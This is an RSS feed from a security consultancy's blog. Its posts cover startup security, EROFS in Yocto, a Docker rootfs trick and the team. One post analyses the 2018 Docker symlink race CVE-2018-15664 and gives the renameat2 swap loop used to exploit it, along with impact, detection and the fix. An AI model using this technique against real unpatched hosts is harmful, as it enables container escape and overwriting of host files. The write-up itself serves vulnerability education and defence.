<p>Over the last 20+ years IT security changed a lot. In the 1990s, it was only a topic for operation system vendors and virus scanning software. But in the early 00 years malware and malicious software started to attack specific applications. From that point on security needed to be an integral part of software development. The goal was clear: avoid misuses from malicious software and malware. They can easily lead to data breaches and data losses, as well as reputational damage, which is fatal for a Startup.</p>
<h2 id="examples-for-a-lack-of-security-in-it-products">Examples for a lack of security in IT products</h2>
<p>There are a lot of examples for such security breaches in software:</p>
<ul>
<li><a href="https://www.zdnet.com/article/security-vulnerabilities-in-these-popular-smart-cameras-let-hackers-turn-them-into-surveillance/">Smart Security Cameras</a></li>
<li><a href="https://labs.bitdefender.com/2019/11/ring-video-doorbell-pro-under-the-scope/?adobe_mc=MCMID%3D37392847136096060720966158880249896652%7CMCORGID%3D0E920C0F53DA9E9B0A490D45%2540AdobeOrg%7CTS%3D1573195253">Doorbells</a></li>
<li><a href="https://securityledger.com/2020/11/security-holes-opened-back-door-to-tcl-android-smart-tvs/#:~:text=Millions%20of%20Android%20smart%20television,to%20surveil%20the%20set%27s%20owners">Smart TVs</a></li>
<li><a href="https://www.techrepublic.com/article/report-smart-bulbs-have-a-major-security-problem/">Smart Bulbs</a></li>
<li><a href="https://www.cybersecurity-insiders.com/smart-coffee-machines-can-allow-hackers-to-steal-id-and-passwords/">Coffee Machines</a></li>
</ul>
<h2 id="implementation-of-the-security">Implementation of the security</h2>
<p>Security is everywhere. So it is not just a switch that needs to be turned on, or a final security test. As the examples show, security needs to be in every part of the software product, such as</p>
<ul>
<li>the software itself</li>
<li>data layer</li>
<li>cloud layer</li>
<li>network layer</li>
<li>deployment layer</li>
</ul>
<p>As a result, security needs to be integrated in the whole software development process - which means that every phase of the software development is affected, from requirements to maintenance. Furthermore, the team needs to be trained to have the security aspects in mind during the whole process.</p>
<h2 id="the-importance-of-security-implementation-in-the-beginning">The importance of security implementation in the beginning</h2>
<p>In many cases - as the examples above have shown - security is not in the focus of software projects at all. High costs are the consequence. For big companies that would be tremendous. For Startups it can be more grave: in the worst case it means to go bankrupt because of such an issue.</p>
<p><strong>Our recommendation:</strong> Mind security right from the beginning.</p>
<h3 id="fixing-security-issues-costs">Fixing security issues: costs</h3>
<p>The earlier an issue is discovered the cheaper it can be fixed. If an issue is found in the design phase it is relatively convenient to fix it. If the lack of security is not fixed, the costs to overhaul it in production can be up to 100 times more. That makes clear that the later an issue is found the more problems can arise.</p>
<figure>
<img src="https://sigma-star.at/blog/2021/09/security-for-startups/cost.png" loading="lazy" decoding="async" alt="Costs of a security issue compared to point in time found - refs https://snyk.io/learn/secure-sdlc/" width="600" height="350"></figure>
<h2 id="security-in-it-startups-the-sigma-star-approach">Security in IT Startups: the sigma star approach</h2>
<p>Our special offer for Startups is to implement security right from the beginning. How that works? We bring an experienced sigma star security engineer into your team. He will train the developers and ensures that security is governed at every phase of the development life cycle of the new product. The alternative would be to employ many experienced developers and engineers for all necessary tasks which is very costly over all. To have a security specialist joining the team allows the other team members to focus on their main tasks: the development and evolution of the product itself.</p>
<p><strong>Advantages in a nutshell</strong></p>
<ul>
<li>reduced costs</li>
<li>team members can focus on their core job</li>
<li>security built into the product</li>
<li>as we share our knowledge your team gets better at security topics over time and can finally go on their own</li>
</ul>
<p>You have a Startup and need support with security issues? Feel free to contact us. The earlier, the better.</p>
]]></content:encoded></item><item><title>Enhanced Read-Only File System (EROFS) lands in Yocto</title><link>https://sigma-star.at/blog/2021/09/yocto-erofs/</link><pubDate>Thu, 09 Sep 2021 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2021/09/yocto-erofs/</guid><description><![CDATA[<h1 id="enhanced-read-only-file-system-erofs-lands-in-yocto">Enhanced Read-Only File System (EROFS) lands in Yocto</h1>
<p>The upcoming <a href="https://wiki.yoctoproject.org/wiki/Releases">Yocto 3.4 release</a>
will contain a small contribution by us. Over the last two years we learned to
love EROFS, so we decided to add support for it to Yocto
(<a href="http://git.yoctoproject.org/cgit/cgit.cgi/poky/commit/?id=63b3c44d273d03fe3ac98d6f7c8e8475b468b44e">commit</a>).</p>
<p>Usually when one wants a compressed read-only filesystem for Linux,
<a href="https://www.kernel.org/doc/html/latest/filesystems/squashfs.html">squashfs</a> is a good choice.
It has been around since almost two decades and offers a wide range
if different compression algorithms.</p>]]></description><content:encoded><![CDATA[<h1 id="enhanced-read-only-file-system-erofs-lands-in-yocto">Enhanced Read-Only File System (EROFS) lands in Yocto</h1>
<p>The upcoming <a href="https://wiki.yoctoproject.org/wiki/Releases">Yocto 3.4 release</a>
will contain a small contribution by us. Over the last two years we learned to
love EROFS, so we decided to add support for it to Yocto
(<a href="http://git.yoctoproject.org/cgit/cgit.cgi/poky/commit/?id=63b3c44d273d03fe3ac98d6f7c8e8475b468b44e">commit</a>).</p>
<p>Usually when one wants a compressed read-only filesystem for Linux,
<a href="https://www.kernel.org/doc/html/latest/filesystems/squashfs.html">squashfs</a> is a good choice.
It has been around since almost two decades and offers a wide range
if different compression algorithms.</p>
<p>Starting with version 5.4, Linux supports a new filesystem that is
optimized for compression and read-only storage,
<a href="https://www.kernel.org/doc/html/latest/filesystems/erofs.html">EROFS</a>.
Compared to squashfs it offers novel techniques such as fixed output
size compression and avoids usage of buffer heads.
This yields better read throughput with comparable compression ratio.
We will post another write-up soon which compares squashfs and EROFS in detail.</p>
<p>EROFS currently supports three compression algorithms, <strong>none</strong>, <strong>lz4</strong> and <strong>lz4hc</strong>.
When EROFS is used as target filesystem in Yocto, one of these has to be selected, just like for squashfs.
Just extend the <code>IMAGE_FSTYPES</code> variable with either <code>erofs</code>, <code>erofs-lz4</code> or <code>erofs-lz4hc</code>.
The resulting filesystem image file can be used just like a squashfs image on top of any block device.</p>
<p>Don&rsquo;t forget to enable EROFS in your kernel config, though!
Set at least <code>CONFIG_EROFS_FS</code> and <code>CONFIG_EROFS_FS_ZIP</code> in your kernel
configuration.</p>
<p>Enjoy!</p>
]]></content:encoded></item><item><title>Docker to the rescue in an unexpected way</title><link>https://sigma-star.at/blog/2021/08/docker-embedded-rootfs/</link><pubDate>Tue, 10 Aug 2021 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2021/08/docker-embedded-rootfs/</guid><description>&lt;h1 id="docker-to-the-rescue-in-an-unexpected-way">Docker to the rescue in an unexpected way&lt;/h1>
&lt;p>Imagine you find yourself in a restricted environment and you need some Linux
rootfs that runs on the embedded system you just managed get access to.
Of course the CPU architecture of the embedded system is not the same as your
workstation.
The circumstances are further complicated by the fact that the userspace should offer
enough tooling to build a C/C++ application.
In such a situation docker can help, but in an unexpected way.&lt;/p></description><content:encoded><![CDATA[<h1 id="docker-to-the-rescue-in-an-unexpected-way">Docker to the rescue in an unexpected way</h1>
<p>Imagine you find yourself in a restricted environment and you need some Linux
rootfs that runs on the embedded system you just managed get access to.
Of course the CPU architecture of the embedded system is not the same as your
workstation.
The circumstances are further complicated by the fact that the userspace should offer
enough tooling to build a C/C++ application.
In such a situation docker can help, but in an unexpected way.</p>
<p>Common solutions to deal with such a situation include manually bootstrapping
a Linux distribution, installing it in an emulator such as QEMU,
building a rootfs from scratch or trying to cross build the targeted application.
In any case, there is huge potential to waste a full day or more.</p>
<p>Here, rescue comes in form of docker. Actually the great service to the community
by major Linux distributions, docker just offers the tooling.
Especially Debian supports a wide range of CPU architectures. So let&rsquo;s ask
docker to pull a Debian image for the desired architecture and instead of
starting a container we export the image to use it on the target device.</p>
<p>In this example, Debian stable built for arm32v7 turned out to be useful.
Other useful images to deal with embedded systems are <strong>arm32v5/debian</strong>, <strong>arm64v8/debian</strong> or <strong>riscv64/debian</strong>.
Linux distributions such as Fedora also offer root filesystems for various CPU architectures.</p>
<pre><code>docker image pull arm32v7/debian:stable 
docker image save arm32v7/debian:stable | tar --wildcards --to-stdout -xf - &quot;*/layer.tar&quot; | tar xf - -C myroot/
</code></pre>
<p>After transferring myroot/ to the device and a few apt-get commands the
application could be compiled and run.</p>
<ul>
<li>Is it an ugly hack? Of course!</li>
<li>Is it unorthodox? True!</li>
<li>Are there better/other ways? Sure!</li>
<li>Can it save a lot of time? YES!</li>
</ul>
<p>There is one drawback to consider: these root filesystems usually come without
an init system such as SysV init or systemd. If you plan to boot from it,
better ask Linux to directly start into a shell using <strong>init=/bin/sh</strong>.</p>
]]></content:encoded></item><item><title>The condemned live longer: Symlink races</title><link>https://sigma-star.at/blog/2021/07/docker_cve-2018-15664/</link><pubDate>Fri, 30 Jul 2021 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2021/07/docker_cve-2018-15664/</guid><description>&lt;h1 id="the-condemned-live-longer-symlink-races">The condemned live longer: Symlink races&lt;/h1>
&lt;p>Symlink race vulnerabilities are common issues we encounter while performing code audits.
One might think that such bugs should not happen anymore and every developer can easily avoid them - sadly the reality is different.
In this blog post, we will have a closer look at a symlink race vulnerability from 2018 in docker. We think the vulnerability is quite interesting since it is easy to exploit but not so obvious to note while reviewing.
Attentive readers may ask themselves whether they’d have noticed the issue while developing or reviewing the affected lines of code.&lt;/p></description><content:encoded><![CDATA[<h1 id="the-condemned-live-longer-symlink-races">The condemned live longer: Symlink races</h1>
<p>Symlink race vulnerabilities are common issues we encounter while performing code audits.
One might think that such bugs should not happen anymore and every developer can easily avoid them - sadly the reality is different.
In this blog post, we will have a closer look at a symlink race vulnerability from 2018 in docker. We think the vulnerability is quite interesting since it is easy to exploit but not so obvious to note while reviewing.
Attentive readers may ask themselves whether they’d have noticed the issue while developing or reviewing the affected lines of code.</p>
<p>Due to their time-dependent nature, they are not always easy to exploit and therefore remain underrated.
On the other hand, sometimes they are exploitable with surprisingly little effort.
One of these bugs is the docker vulnerability CVE-2018-15664 from 2018.</p>
<h2 id="overview">Overview</h2>
<p>docker offers a way to copy files from/to a container. The basic syntax of the copy tool is:</p>
<pre><code>docker cp [OPTIONS] CONTAINER:SRC_PATH DEST_PATH|-
docker cp [OPTIONS] SRC_PATH|- CONTAINER:DEST_PATH
</code></pre>
<p>So to update the container&rsquo;s <code>/etc/passwd</code> file, a system administrator can execute a command such as:</p>
<pre><code>docker cp new_passwd ea7d702924bc:/etc/passwd
</code></pre>
<p>Where <code>ea7d702924bc</code> is the container ID.</p>
<p>Internally, <code>docker cp</code> shifts execution to the docker daemon which runs as root.
The daemon will resolve the path to the actual host path of the docker storage.
<code>ea7d702924bc:/etc/passwd</code> would resolve to <code>/var/lib/docker/btrfs/subvolumes/6383eed3/etc/passwd</code></p>
<p>Where <code>/var/lib/docker/btrfs/subvolumes/6383eed3</code>
is the root directory from the container point of view.
Depending on the type of docker storage, the path might be different.
In this example, we used btrfs subvolumes as storage.
For better illustration, please read <code>BASEDIR</code> as <code>/var/lib/docker/btrfs/subvolumes/6383eed3</code> from now on.</p>
<p>Things get interesting when symlinks are involved. Let&rsquo;s assume that within the container, <code>/etc/</code> is a symlink pointing to <code>/</code>. The docker daemon will determine that the last path component of <code>BASEDIR/etc</code> is a symlink.
Simply following the symlink is not allowed: It would redirect to <code>/</code>, in this context, the host filesystem root. So docker reads the contents of the symlink and applies it to the base directory of the container. The final path is <code>BASEDIR/</code>.</p>
<p>Therefore the <code>passwd</code> file will land in the container root directly instead of <code>/etc/</code>.
This is expected and nothing to worry about.</p>
<h2 id="under-the-hood">Under the hood</h2>
<p>To ensure that all file operations run within the container filesystem, docker sets up a new mount namespace.
The interesting steps are:</p>
<ol>
<li>Resolving the container path, including symlink check and sanitizing</li>
<li>Creating a new process with a new mount namespace</li>
<li>Sanitizing the new mount namespace with <code>pivot_root()</code> so that the root directory is within the container root</li>
<li>Performing the file operation relative to <code>/</code>.</li>
</ol>
<p>So, a simplified sequence of executed system calls could be:</p>
<pre><code>[pid  1724] lstat(&quot;BASEDIR/etc&quot;, {st_mode=S_IFLNK|0777, st_size=1, ...}) = 0
[pid  1724] readlinkat(AT_FDCWD, &quot;BASEDIR/etc&quot;, &quot;/&quot;, 128) = 1
[pid  1724] lstat(&quot;BASEDIR&quot;, {st_mode=S_IFDIR|0755, st_size=206, ...}) = 0
[pid  1724] fork() = 21681
[pid 21681] unshare(CLONE_NEWNS)
[pid 21681] mkdirat(AT_FDCWD, &quot;BASEDIR/.pivot_root918928353&quot;, 0700) = 0
[pid 21681] pivot_root(&quot;BASEDIR&quot;, &quot;BASEDIR/.pivot_root918928353&quot;) = 0
[pid 21681] chdir(&quot;/&quot;)                  = 0
[pid 21681] mount(&quot;&quot;, &quot;/.pivot_root918928353&quot;, 0xc420246fd3, MS_REC|MS_PRIVATE, NULL) = 0
[pid 21681] umount2(&quot;/.pivot_root918928353&quot;, MNT_DETACH) = 0
[pid 21681] unlinkat(AT_FDCWD, &quot;/.pivot_root918928353&quot;, AT_REMOVEDIR) = 0
[pid 21681] openat(AT_FDCWD, &quot;/passwd&quot;, O_WRONLY|O_CREAT|O_CLOEXEC, 0644) = 6
</code></pre>
<p>We observe that docker assumes that the sanitized path cannot change while it is working on it. That&rsquo;s where the root of the problem lies.
Consider that <code>/etc</code> within the container is not a symlink at the time of the check but it is changed to a symlink pointing to <code>/</code> right before <code>mkdirat()</code>.</p>
<p>Under this assumption the system call sequence could be:</p>
<pre><code>[pid 15509] lstat(&quot;BASEDIR/etc&quot;, {st_mode=S_IFDIR|0755, st_size=18, ...}) = 0
[pid 15509] fork() = 21630
[pid 21630] unshare(CLONE_NEWNS)
[pid 21630] mkdirat(AT_FDCWD, &quot;BASEDIR/etc/.pivot_root447772558&quot;, 0700) = 0
[pid 21630] pivot_root(&quot;BASEDIR/etc/&quot;, &quot;BASEDIR/etc/.pivot_root447772558&quot;) = 0
[pid 21630] chdir(&quot;/&quot;)                  = 0
[pid 21630] mount(&quot;&quot;, &quot;/.pivot_root447772558&quot;, 0xc4208981ed, MS_REC|MS_PRIVATE, NULL) = 0
[pid 21630] umount2(&quot;/.pivot_root447772558&quot;, MNT_DETACH) = 0
[pid 21630] unlinkat(AT_FDCWD, &quot;/.pivot_root447772558&quot;, AT_REMOVEDIR) = 0
[pid 21630] openat(AT_FDCWD, &quot;/passwd&quot;, O_WRONLY|O_CREAT|O_CLOEXEC, 0644) = 6
</code></pre>
<p>If <code>etc</code> is suddenly a symlink to <code>/</code>, the kernel will resolve <code>BASEDIR/etc/</code> to
<code>/</code> in <code>mkdirat()</code> and <code>pivot_root()</code>. The same applies to <code>BASEDIR/etc/.pivot_root447772558</code> - it will turn into <code>/.pivot_root447772558</code>.
This makes the <code>pivot_root()</code> operation basically a no-op since we switched the host root filesystem to <code>/.pivot_root447772558</code>
and back again.</p>
<p>As soon as docker opens <code>/passwd</code> inside the new mount namespace, it will be the <strong>host filesystem</strong> instead of the root of the
targeted container.</p>
<h2 id="exploiting-the-problem">Exploiting the problem</h2>
<p>In the attack scenario, the attacker has control over a container and can execute code inside of it. He knows that the system administrator either uses <code>docker cp</code> manually or automatically to copy a file into the container.</p>
<p>We saw that docker assumes that the path cannot change while the copy operation is running and that we can get access to the host filesystem if we manage to trick docker by presenting a directory at check time and later a symlink at use time.
Hitting exactly the right times to present either a directory or a symlink might sound hard to achieve. There is a simpler approach: a brute force attack.
We don’t care if the majority of all tries don&rsquo;t work, as long as one works.</p>
<p>So we create two files, <code>/etc</code> being a directory and <code>/etc.sym</code> being a symlink to <code>/</code>.
To apply the brute force attack <code>/etc</code> and <code>/etc.sym</code> filenames are exchanged forever.
At any point in time <code>/etc</code> is either a directory or a symlink to <code>/</code>.
To achieve that, we use Linux’s <code>renameat2()</code> system call.</p>
<p>The exploit is basically a program performing</p>
<pre><code>renameat2(AT_FDCWD, &quot;/etc&quot;, AT_FDCWD, &quot;/etc.sym&quot;, RENAME_EXCHANGE);
</code></pre>
<p>in a loop.</p>
<p>The crucial points in time are:</p>
<ul>
<li><strong>T1:</strong> the time of the path being checked</li>
<li><strong>T2:</strong> the point when <code>mkdirat()</code> runs to create the pivot directory</li>
<li><strong>T3:</strong> when <code>pivot_root()</code> takes place</li>
</ul>
<p><code>/etc</code> within the container can either be in state <strong>D</strong> being a directory or in state <strong>S</strong> being a symlink.
So we have three points in time, which can be in two states. To sum it up: there are eight possible attack states our brute force exploit
can trigger.
We already know that the attack can only be successful if <code>/etc/</code> is a directory at check time and then a symlink.
Therefore only attack state <strong>A4</strong> will lead to success.</p>
<p>This rough estimation shows that one-eighth of all attacks are successful. Not too bad for a brute force attack.
Please note that this is just an estimation that leaves out some details. It does not take into consideration, for example, that
the time difference between <strong>T1</strong> and <strong>T2</strong> is large since execution spawns over two processes, while the time between <strong>T2</strong> and <strong>T3</strong> is minimal since both execution points are in the same process and successive. So hitting the race between <strong>T1</strong> and <strong>T2</strong> is much more likely than between <strong>T2</strong> and <strong>T3</strong>.</p>
<p>Let&rsquo;s take a deeper look at the state in which the attack is not successful.
We distinguish two types of failures:</p>
<ul>
<li>unnoticed failures</li>
<li>noticed failures</li>
</ul>
<p>For example, if at time of <code>mkdirat()</code> etc is a symlink and later at <code>pivot_root()</code> again a directory, <code>pivot_root()</code> will fail and <code>docker cp</code> reports an error.</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>A1</th>
          <th>A2</th>
          <th>A3</th>
          <th>A4</th>
          <th>A5</th>
          <th>A6</th>
          <th>A7</th>
          <th>A8</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>T1</strong></td>
          <td>D</td>
          <td>D</td>
          <td>D</td>
          <td>D</td>
          <td>S</td>
          <td>S</td>
          <td>S</td>
          <td>S</td>
      </tr>
      <tr>
          <td><strong>T2</strong></td>
          <td>D</td>
          <td>D</td>
          <td>S</td>
          <td>S</td>
          <td>S</td>
          <td>S</td>
          <td>D</td>
          <td>D</td>
      </tr>
      <tr>
          <td><strong>T3</strong></td>
          <td>D</td>
          <td>S</td>
          <td>D</td>
          <td>S</td>
          <td>S</td>
          <td>D</td>
          <td>S</td>
          <td>D</td>
      </tr>
      <tr>
          <td></td>
          <td><strong>U</strong></td>
          <td><strong>E</strong></td>
          <td><strong>E</strong></td>
          <td><strong>X</strong></td>
          <td><strong>U</strong></td>
          <td><strong>U</strong></td>
          <td><strong>U</strong></td>
          <td><strong>U</strong></td>
      </tr>
  </tbody>
</table>
<pre><code>D ... etc is a directory
S ... etc is a symlink

U ... attack unsuccessful, unnoticed
E ... attack unsuccessful, errors reported
X ... exploited!
</code></pre>
<h2 id="impact">Impact</h2>
<p>Under optimal circumstances, an attacker within a container can overwrite any file on the host side. On the other hand, the attacker needs to know which file is being written using <code>docker cp</code> and if the copy operation runs very seldom, the chances to hit the race window are low.</p>
<h2 id="identifying-the-attack">Identifying the attack</h2>
<p>In a previous section, we saw that there is a chance that <code>docker cp</code> will fail and report an error.
If <code>docker cp</code> runs as part of your automation, check logs for failures - they could indicate an attack.
Another possibility to detect ongoing attacks is stale <code>.pivot_rootXXXXXXXX</code> directories on the host side, where <code>XXXXXXXX</code> is a number.
If the attacker tries to place a file in the host root filesystem, unsuccessful attacks leave a <code>.pivot_rootXXXXXXXX</code> behind.</p>
<h2 id="fixing-the-problem">Fixing the problem</h2>
<p>The currently implemented solution is suspending the container while the copy operation is running.
With that, the docker daemon can be sure that nothing inside the container can change paths
while it is performing the copy operation.
The downside of this approach is that suspending a container is slow and will interrupt workloads.</p>
<h2 id="final-thoughts">Final thoughts</h2>
<p>Symlink races, or more general TOCTOU (Time-of-Check-to-Time-of-Use) issues, are still a problem and not always obvious.
To avoid them while writing code, always ask yourself whether a system resource can change after you did some check on it. Usually, the answer is <strong>yes, it can change</strong> when the check is performed by your code and not by the operating system. Especially when it comes to checks on filesystem resources such as symlinks.
If you are using a high-level programming language, try to understand what operations will be made by it at a system call level. Just because it&rsquo;s a single operation in your favorite programming language it doesn&rsquo;t have to be atomic.</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://seclists.org/oss-sec/2019/q2/131">https://seclists.org/oss-sec/2019/q2/131</a></li>
<li><a href="https://man7.org/linux/man-pages/man7/mount_namespaces.7.html">https://man7.org/linux/man-pages/man7/mount_namespaces.7.html</a></li>
<li><a href="https://man7.org/linux/man-pages/man2/setns.2.html">https://man7.org/linux/man-pages/man2/setns.2.html</a></li>
<li><a href="https://man7.org/linux/man-pages/man2/pivot_root.2.html">https://man7.org/linux/man-pages/man2/pivot_root.2.html</a></li>
<li><a href="https://man7.org/linux/man-pages/man2/rename.2.html">https://man7.org/linux/man-pages/man2/rename.2.html</a></li>
<li><a href="https://github.com/moby/moby/pull/39252">https://github.com/moby/moby/pull/39252</a></li>
</ul>
]]></content:encoded></item><item><title>Who is sigma star und who is the team</title><link>https://sigma-star.at/blog/2021/06/who-we-are/</link><pubDate>Tue, 01 Jun 2021 00:00:00 +0200</pubDate><author>Thomas Dierl</author><guid>https://sigma-star.at/blog/2021/06/who-we-are/</guid><description><![CDATA[<h1 id="who-is-sigma-star--who-is-the-team">Who is sigma star &amp; who is the team?</h1>
<p>sigma star gmbh is a IT consulting and development company established in 2011 and located in
Innsbruck, Austria. Today it is lead by David Gstir, Richard Weinberger and Thomas Dierl.</p>
<h2 id="what-we-do"><strong>what</strong> we do&hellip;</h2>
<p>At sigma star we provide consulting and software engineering services in a multitude of areas.
The main ones are security and open source software.</p>
<h2 id="-and-how-we-do-it">&hellip; and how we do it</h2>
<p>In all our work we strive for high quality and durable solutions.</p>]]></description><content:encoded><![CDATA[<h1 id="who-is-sigma-star--who-is-the-team">Who is sigma star &amp; who is the team?</h1>
<p>sigma star gmbh is a IT consulting and development company established in 2011 and located in
Innsbruck, Austria. Today it is lead by David Gstir, Richard Weinberger and Thomas Dierl.</p>
<h2 id="what-we-do"><strong>what</strong> we do&hellip;</h2>
<p>At sigma star we provide consulting and software engineering services in a multitude of areas.
The main ones are security and open source software.</p>
<h2 id="-and-how-we-do-it">&hellip; and how we do it</h2>
<p>In all our work we strive for high quality and durable solutions.</p>
<h2 id="expert-areas">Expert areas</h2>
<p>Topics of the experts group are not limited to but include:</p>
<ul>
<li><strong>Security and cryptography services</strong>, such as: Audits of code or architecture,
design and implementation of protocols or concepts.</li>
<li>The <strong>whole Linux ecosystem</strong>, such as any kind of kernel development, design and
implementation of embedded systems or user interfaces.</li>
<li><strong>Trainings</strong>: Our services do not end after consulting and development, for all covered topics
sigma star gmbh also provides trainings. Either in combination with handover of the final product
to the internal development team or individually to expand the skill set of our customer’s team.
In general we have a strong knowledge sharing attitude and don&rsquo;t provide black box solutions.</li>
</ul>
<h2 id="our-customers">Our customers</h2>
<p>Our customers build mission critical systems in the area of automotive, cryptography, industrial,
embedded and access control systems with a strong focus on security and privacy. Since we and our
customers value integrity and confidentiality, we don&rsquo;t publish a reference list. Examples however
are companies that</p>
<ul>
<li>build Linux-based products</li>
<li>have a need for IT security consulting</li>
</ul>
<p>Among them are small companies with special needs as well as big stock companies with their own
development departments around the globe.</p>
<h2 id="core-team">Core Team</h2>
<p>Sigma star gmbh has various partners and friends on which we can fall back to tackle bigger projects.
Our core team currently consists of five all-rounders.</p>
<figure>
<img src="richard_portrait.png?width=auto" loading="lazy" decoding="async" alt="Linux Penguin"></figure>
<h3 id="richard-weinberger">Richard Weinberger</h3>
<p>Richard is actively involved in the Linux kernel development and maintainer of several
Linux Subsystems. He is our secret weapon to hunt any kind of system level bug and issue.
His extensive experience with tackling bugs also gave him a keen eye for security-specific
software and compiler bugs.</p>
<figure>
<img src="dave_portrait.png?width=auto" loading="lazy" decoding="async" alt="Enigma Penguin"></figure>
<h3 id="david-gstir">David Gstir</h3>
<p>David is the security professional of the team. He has a background in IT-security and
cryptography where he researched attacks on the AES algorithm as well as security and privacy
aspects of smart meters. Combined with his experience in Linux and software engineering,
he is in hot pursuit of all those security issues in our customer&rsquo;s source code. Aside from that
he is also not afraid to build larger code bases from scratch, even if they are intended to
run on non-Linux systems too.</p>
<figure>
<img src="thomas_portrait.png?width=auto" loading="lazy" decoding="async" alt="Workflow Penguin"></figure>
<h3 id="thomas-dierl">Thomas Dierl</h3>
<p>Thomas has 20+ years of experience in software development and software architecture. Therefore,
his main topics are software development and architecture with security and durability in mind.
When he is not busy with founding companies or consulting startups, he brings our customer’s
ideas to paper, codes and watches over the daily organisational matters.</p>
<figure>
<img src="goliath_portrait.png?width=auto" loading="lazy" decoding="async" alt="Kamikaze Penguin"></figure>
<h3 id="david-oberhollenzer">David Oberhollenzer</h3>
<p>David is our brave and brilliant warrior who is not afraid to tackle new and complicated projects.
This leads him to creating and maintaining multiple new open source projects spanning from low-level
embedded systems to user interfaces.</p>
<figure>
<img src="aaron_portrait.png?width=auto" loading="lazy" decoding="async" alt="Rookie Penguin"></figure>
<h3 id="aaron-marcher">Aaron Marcher</h3>
<p>Aaron is the youngest, but no less inquisitive team member. He eagerly approaches every new project
with a sharp eye for the important parts and the end goal. During his 4+ years of experience at
sigma star he already combatted linux bugs, worked on linux kernel, embedded systems projects
and engineered cloud-based software solutions.</p>
<p><strong>We would be pleased to get to know you and tailor a specific solution for your problem.</strong></p>
]]></content:encoded></item></channel></rss>